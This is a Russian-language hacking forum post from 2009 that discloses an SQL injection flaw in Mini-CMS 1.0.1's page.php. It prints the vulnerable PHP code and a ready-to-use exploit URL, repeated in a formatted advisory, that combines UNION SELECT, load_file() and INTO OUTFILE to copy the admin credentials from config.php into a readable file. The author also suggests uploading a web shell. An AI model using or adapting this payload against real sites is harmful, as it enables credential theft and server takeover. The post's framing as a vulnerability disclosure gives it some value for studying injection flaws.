Показать сообщение отдельно

  #145  
Старый 09.08.2009, 01:09
Ins3t
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
С нами: 8850336

Репутация: 330
По умолчанию

Mini-CMS 1.0.1 SQL inlection

Вот наткнулся на Mini-CMS 1.0.1, скачал, открыл первый попавшийся сорец, сразу понял, что CMS бажная..

Уязвимый файл: page.php

Фрагмент уязвимого кода:

PHP код:
<?php
$id 
$_GET['id'];
database_connect();
$query "SELECT * from content
          WHERE id = 
$id";
$error mysql_error();
if (!
$result mysql_query($query)) {
    print 
"$error";
    exit;
    }

while(
$row mysql_fetch_object($result)){
  
$content $row->text;
  print(
"$content");
    }
?>
Требования: magic_quotes_gpc = Off и полный путь к config.php

Эксплатация уязвимости:
PHP код:
http://localhost/page.php?id=-1+union+select+1,2,3,4,load_file(''),6,7,8,9+into+outfile+'/config.txt'--+ 
Пароли от админки не хранятся в базе данных, а хранятся в файле config.php, из за этого нам приходится записывать конфиг в текстовый файл ( хотя лутше уже шелл лить ).

Оформленый эксплойт:

Код:
[+]--------------------------------------------------------------------------------------------------------------------[+]
[+]--------------------------------------------[Mini-CMS 1.0.1 SQL inlection]------------------------------------------[+]  
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[INFO]----------------------------------------------------------------------------------------------------------------[+]
[+] Title:Mini-CMS 1.0.1 SQL inlection
[+] Autor: Ins3t
[+] Site: www.arthacking.net
[+] Date:08.08.2009
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[BUG INFO]------------------------------------------------------------------------------------------------------------[+]
[+] The vulnerability occurs due to insufficient filtering transferred database parameters. Password is not in the 
database, and in the config.php file.
[+] Conditions: magic_quotes_gpc = Off | full patch of file config.php
[+] Code vulnerable functions:

[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
<?php
$id = $_GET['id'];
database_connect();
$query = "SELECT * from content
          WHERE id = $id";                      <------(BUG)
$error = mysql_error();
if (!$result = mysql_query($query)) {
    print "$error";
	exit;
	}

while($row = mysql_fetch_object($result)){
  $content = $row->text;
  print("$content");
	}
?>
[+]------------------------------------------------[/COD]---------------------------------------------------------------[+]

[+] Exploit: 

[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]

http://localhost/page.php?id=-1+union+select+1,2,3,4,load_file('[FULL_PATCH_OF_FILE_CONFIG.PHP]'),6,7,8,9+into+outfile+'[FULL_PATCH]'--+

[+]------------------------------------------------[/COD]---------------------------------------------------------------[+]

Последний раз редактировалось Ins3t; 09.08.2009 в 01:13..
 
Ответить с цитированием